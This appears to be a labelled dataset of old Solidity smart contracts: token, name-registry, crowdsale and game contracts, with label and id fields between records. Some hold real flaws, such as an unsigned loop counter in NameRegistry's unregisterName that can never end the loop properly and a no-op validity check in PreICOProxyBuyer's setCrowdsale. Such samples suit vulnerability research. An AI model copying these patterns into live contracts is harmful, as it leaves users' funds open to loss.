function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
onlyDevs()
public
{
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
} | 0 | 456 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
emit Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
emit Unpause();
return true;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract ROA is ERC20Interface, Pausable {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Burn(address indexed from, uint256 value);
function ROA() public {
symbol = "ROA";
name = "NeoWorld Rare Ore A";
decimals = 18;
_totalSupply = 10000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public whenNotPaused returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function increaseApproval (address _spender, uint _addedValue) public whenNotPaused
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public whenNotPaused returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function burn(uint256 _value) public onlyOwner returns (bool) {
require (_value > 0);
require (balanceOf(msg.sender) >= _value);
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
} | 1 | 3,049 |
pragma solidity 0.4.19;
contract NameRegistry {
uint public nextId = 0;
mapping (uint => Participant) public participantMap;
mapping (address => NameInfo) public nameInfoMap;
mapping (bytes12 => address) public ownerMap;
mapping (address => string) public nameMap;
struct NameInfo {
bytes12 name;
uint[] participantIds;
}
struct Participant {
address feeRecipient;
address signer;
bytes12 name;
address owner;
}
event NameRegistered (
string name,
address indexed owner
);
event NameUnregistered (
string name,
address indexed owner
);
event OwnershipTransfered (
bytes12 name,
address oldOwner,
address newOwner
);
event ParticipantRegistered (
bytes12 name,
address indexed owner,
uint indexed participantId,
address singer,
address feeRecipient
);
event ParticipantUnregistered (
uint participantId,
address owner
);
function registerName(string name)
external
{
require(isNameValid(name));
bytes12 nameBytes = stringToBytes12(name);
require(ownerMap[nameBytes] == 0x0);
require(stringToBytes12(nameMap[msg.sender]) == bytes12(0x0));
nameInfoMap[msg.sender] = NameInfo(nameBytes, new uint[](0));
ownerMap[nameBytes] = msg.sender;
nameMap[msg.sender] = name;
NameRegistered(name, msg.sender);
}
function unregisterName(string name)
external
{
NameInfo storage nameInfo = nameInfoMap[msg.sender];
uint[] storage participantIds = nameInfo.participantIds;
bytes12 nameBytes = stringToBytes12(name);
require(nameInfo.name == nameBytes);
for (uint i = participantIds.length - 1; i >= 0; i--) {
delete participantMap[participantIds[i]];
}
delete nameInfoMap[msg.sender];
delete nameMap[msg.sender];
delete ownerMap[nameBytes];
NameUnregistered(name, msg.sender);
}
function transferOwnership(address newOwner)
external
{
require(newOwner != 0x0);
require(nameInfoMap[newOwner].name.length == 0);
NameInfo storage nameInfo = nameInfoMap[msg.sender];
string storage name = nameMap[msg.sender];
uint[] memory participantIds = nameInfo.participantIds;
for (uint i = 0; i < participantIds.length; i ++) {
Participant storage p = participantMap[participantIds[i]];
p.owner = newOwner;
}
delete nameInfoMap[msg.sender];
delete nameMap[msg.sender];
nameInfoMap[newOwner] = nameInfo;
nameMap[newOwner] = name;
OwnershipTransfered(nameInfo.name, msg.sender, newOwner);
}
function addParticipant(
address feeRecipient,
address singer
)
external
returns (uint)
{
require(feeRecipient != 0x0 && singer != 0x0);
NameInfo storage nameInfo = nameInfoMap[msg.sender];
bytes12 name = nameInfo.name;
require(name.length > 0);
Participant memory participant = Participant(
feeRecipient,
singer,
name,
msg.sender
);
uint participantId = ++nextId;
participantMap[participantId] = participant;
nameInfo.participantIds.push(participantId);
ParticipantRegistered(
name,
msg.sender,
participantId,
singer,
feeRecipient
);
return participantId;
}
function removeParticipant(uint participantId)
external
{
require(msg.sender == participantMap[participantId].owner);
NameInfo storage nameInfo = nameInfoMap[msg.sender];
uint[] storage participantIds = nameInfo.participantIds;
delete participantMap[participantId];
uint len = participantIds.length;
for (uint i = 0; i < len; i ++) {
if (participantId == participantIds[i]) {
participantIds[i] = participantIds[len - 1];
participantIds.length -= 1;
}
}
ParticipantUnregistered(participantId, msg.sender);
}
function getParticipantById(uint id)
external
view
returns (address feeRecipient, address signer)
{
Participant storage addressSet = participantMap[id];
feeRecipient = addressSet.feeRecipient;
signer = addressSet.signer;
}
function getFeeRecipientById(uint id)
external
view
returns (address feeRecipient)
{
Participant storage addressSet = participantMap[id];
feeRecipient = addressSet.feeRecipient;
}
function getParticipantIds(string name, uint start, uint count)
external
view
returns (uint[] idList)
{
bytes12 nameBytes = stringToBytes12(name);
address owner = ownerMap[nameBytes];
require(owner != 0x0);
NameInfo storage nameInfo = nameInfoMap[owner];
uint[] storage pIds = nameInfo.participantIds;
uint len = pIds.length;
if (start >= len) {
return;
}
uint end = start + count;
if (end > len) {
end = len;
}
if (start == end) {
return;
}
idList = new uint[](end - start);
for (uint i = start; i < end; i ++) {
idList[i - start] = pIds[i];
}
}
function getOwner(string name)
external
view
returns (address)
{
bytes12 nameBytes = stringToBytes12(name);
return ownerMap[nameBytes];
}
function isNameValid(string name)
internal
pure
returns (bool)
{
bytes memory temp = bytes(name);
return temp.length >= 6 && temp.length <= 12;
}
function stringToBytes12(string str)
internal
pure
returns (bytes12 result)
{
assembly {
result := mload(add(str, 32))
}
}
} | 1 | 3,520 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
if(_minimumFundingGoal != 0) {
}
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
onInvest();
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
function onInvest() internal {
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
return true;
}
}
contract PreICOProxyBuyer is Ownable {
using SafeMathLib for uint;
uint public investorCount;
uint public weiRaisedTotal;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint value);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investors, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest() public payable {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = balances[investor].plus(msg.value);
if(balances[investor] < weiMinimumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaisedTotal = weiRaisedTotal.plus(msg.value);
Invested(investor, msg.value);
}
function buyForEverybody() public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaisedTotal)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return balances[investor].times(tokensBought) / weiRaisedTotal;
}
function getClaimLeft(address investor) public constant returns (uint) {
return getClaimAmount(investor).minus(claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = claimed[investor].plus(amount);
totalClaimed = totalClaimed.plus(amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!investor.send(amount)) throw;
Refunded(investor, amount);
}
function setCrowdsale(Crowdsale _crowdsale) public onlyOwner {
crowdsale = _crowdsale;
if(!crowdsale.isCrowdsale()) true;
}
function getState() public returns(State) {
if(tokensBought == 0) {
if(now >= freezeEndsAt) {
return State.Refunding;
} else {
return State.Funding;
}
} else {
return State.Distributing;
}
}
function() payable {
throw;
}
} | 0 | 1,950 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract UnlimitedAllowanceToken is StandardToken {
uint internal constant MAX_UINT = 2**256 - 1;
function transferFrom(
address _from,
address _to,
uint256 _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
require(_value <= balances[_from], "insufficient balance");
require(_value <= allowance, "insufficient allowance");
require(_to != address(0), "token burn not allowed");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] = allowance.sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
}
function transfer(
address _to,
uint256 _value)
public
returns (bool)
{
require(_value <= balances[msg.sender], "insufficient balance");
require(_to != address(0), "token burn not allowed");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
}
contract BZRxToken is UnlimitedAllowanceToken, DetailedERC20, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event LockingFinished();
bool public mintingFinished = false;
bool public lockingFinished = false;
mapping (address => bool) public minters;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(minters[msg.sender]);
_;
}
modifier isLocked() {
require(!lockingFinished);
_;
}
constructor()
public
DetailedERC20(
"BZRX Protocol Token",
"BZRX",
18
)
{
minters[msg.sender] = true;
}
function transferFrom(
address _from,
address _to,
uint256 _value)
public
returns (bool)
{
if (lockingFinished || minters[msg.sender]) {
return super.transferFrom(
_from,
_to,
_value
);
}
revert("this token is locked for transfers");
}
function transfer(
address _to,
uint256 _value)
public
returns (bool)
{
if (lockingFinished || minters[msg.sender]) {
return super.transfer(
_to,
_value
);
}
revert("this token is locked for transfers");
}
function minterTransferFrom(
address _spender,
address _from,
address _to,
uint256 _value)
public
hasMintPermission
canMint
returns (bool)
{
require(canTransfer(
_spender,
_from,
_value),
"canTransfer is false");
require(_to != address(0), "token burn not allowed");
uint allowance = allowed[_from][_spender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
if (allowance < MAX_UINT) {
allowed[_from][_spender] = allowance.sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
}
function mint(
address _to,
uint256 _amount)
public
hasMintPermission
canMint
returns (bool)
{
require(_to != address(0), "token burn not allowed");
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting()
public
onlyOwner
canMint
returns (bool)
{
mintingFinished = true;
emit MintFinished();
return true;
}
function finishLocking()
public
onlyOwner
isLocked
returns (bool)
{
lockingFinished = true;
emit LockingFinished();
return true;
}
function addMinter(
address _minter)
public
onlyOwner
canMint
returns (bool)
{
minters[_minter] = true;
return true;
}
function removeMinter(
address _minter)
public
onlyOwner
canMint
returns (bool)
{
minters[_minter] = false;
return true;
}
function canTransfer(
address _spender,
address _from,
uint256 _value)
public
view
returns (bool)
{
return (
balances[_from] >= _value &&
(_spender == _from || allowed[_from][_spender] >= _value)
);
}
}
interface WETHInterface {
function deposit() external payable;
function withdraw(uint wad) external;
}
interface PriceFeed {
function read() external view returns (bytes32);
}
contract BZRxTokenSale is Ownable {
using SafeMath for uint256;
struct TokenPurchases {
uint totalETH;
uint totalTokens;
uint totalTokenBonus;
}
event BonusChanged(uint oldBonus, uint newBonus);
event TokenPurchase(address indexed buyer, uint ethAmount, uint ethRate, uint tokensReceived);
event SaleOpened(uint bonusMultiplier);
event SaleClosed(uint bonusMultiplier);
bool public saleClosed = true;
address public bZRxTokenContractAddress;
address public bZxVaultAddress;
address public wethContractAddress;
address public priceContractAddress;
uint public bonusMultiplier;
uint public ethRaised;
address[] public purchasers;
mapping (address => TokenPurchases) public purchases;
bool public whitelistEnforced = false;
mapping (address => uint) public whitelist;
modifier saleOpen() {
require(!saleClosed, "sale is closed");
_;
}
modifier whitelisted(address user, uint value) {
require(canPurchaseAmount(user, value), "not whitelisted");
_;
}
constructor(
address _bZRxTokenContractAddress,
address _bZxVaultAddress,
address _wethContractAddress,
address _priceContractAddress,
uint _bonusMultiplier)
public
{
require(_bonusMultiplier > 100);
